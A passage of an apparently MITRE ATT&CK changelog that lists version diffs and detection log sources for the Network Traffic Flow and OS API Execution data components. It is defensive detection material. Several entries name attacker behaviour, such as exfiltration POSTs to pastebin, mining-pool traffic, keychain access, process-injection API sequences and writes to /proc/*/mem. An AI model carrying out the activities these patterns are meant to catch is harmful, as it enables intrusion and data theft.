'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:16.672000+00:00	2025-10-21 15:14:34.343000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0078] Network Traffic Flow

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}]
x_mitre_log_sources		[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:20.168000+00:00	2025-10-21 15:14:34.703000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0021] OS API Execution

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock\|NSDistributedLock\|FileHandle.lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A\|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:31.145000+00:00	2025-10-21 15:14:36.999000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0096] Passive DNS

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

